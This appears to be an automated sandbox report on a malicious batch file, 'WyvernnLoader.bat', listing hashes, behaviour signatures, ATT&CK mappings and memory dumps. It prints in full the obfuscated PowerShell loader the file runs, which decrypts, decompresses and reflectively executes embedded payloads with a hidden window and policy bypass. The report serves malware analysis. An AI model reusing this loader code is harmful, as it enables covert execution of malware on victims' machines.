f4b37a9883067f99e2d4c09c5c7c99e50c694212808d6041623644c574177e8b

Analysis

max time kernel
118s
max time network
120s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
16/06/2024, 06:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

WyvernnLoader.bat
Size

1.6MB
MD5

2e8b7b4aa7c67de8af9a98796ebef407
SHA1

1b431b74102a1f321833d8eff397667c77c65e6e
SHA256

f4b37a9883067f99e2d4c09c5c7c99e50c694212808d6041623644c574177e8b
SHA512

d0d6756843ea10d369e98a3e4a75d00e0fd59416f415c57637576cf47ebc9c3f1f4b2debaf1db16f48f76f8c206ba257ec3f14f1d8fdd5382f0bfc228a231463
SSDEEP

24576:NLS0EdLggkaNdVHdPZHaTrqYXWfX2wTcxG/VxDrG4BmJL549VbiIN8zCQj4rae1:NB+8xaHV9PWRfKTb2Bja

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1668	powershell.exe

Deletes itself 1 IoCs

pid	Process
2512	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1668	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1668	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2512 wrote to memory of 1668	2512	cmd.exe	29
PID 2512 wrote to memory of 1668	2512	cmd.exe	29
PID 2512 wrote to memory of 1668	2512	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\WyvernnLoader.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XZII/d9kkEQttq/hiVyS2BmFzqEJ5nlwNGUkUnizcUk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UTDUKX/5ym5ZImZxC+ySDg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nvFWX=New-Object System.IO.MemoryStream(,$param_var); $lduLx=New-Object System.IO.MemoryStream; $znyBk=New-Object System.IO.Compression.GZipStream($nvFWX, [IO.Compression.CompressionMode]::Decompress); $znyBk.CopyTo($lduLx); $znyBk.Dispose(); $nvFWX.Dispose(); $lduLx.Dispose(); $lduLx.ToArray();}function execute_function($param_var,$param2_var){ $FmAAH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qDXJE=$FmAAH.EntryPoint; $qDXJE.Invoke($null, $param2_var);}$SBbdD = 'C:\Users\Admin\AppData\Local\Temp\WyvernnLoader.bat';$host.UI.RawUI.WindowTitle = $SBbdD;$OXHIK=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SBbdD).Split([Environment]::NewLine);foreach ($qWWAf in $OXHIK) { if ($qWWAf.StartsWith(':: ')) { $qxDSF=$qWWAf.Substring(3); break; }}$payloads_var=[string[]]$qxDSF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1668-4-0x000007FEF607E000-0x000007FEF607F000-memory.dmp

Filesize
4KB

Download
memory/1668-5-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/1668-10-0x000007FEF5DC0000-0x000007FEF675D000-memory.dmp

Filesize
9.6MB

Download
memory/1668-9-0x000007FEF5DC0000-0x000007FEF675D000-memory.dmp

Filesize
9.6MB

Download
memory/1668-8-0x000007FEF5DC0000-0x000007FEF675D000-memory.dmp

Filesize
9.6MB

Download
memory/1668-7-0x000007FEF5DC0000-0x000007FEF675D000-memory.dmp

Filesize
9.6MB

Download
memory/1668-6-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/1668-11-0x000007FEF5DC0000-0x000007FEF675D000-memory.dmp

Filesize
9.6MB

Download
memory/1668-12-0x000007FEF5DC0000-0x000007FEF675D000-memory.dmp

Filesize
9.6MB

Download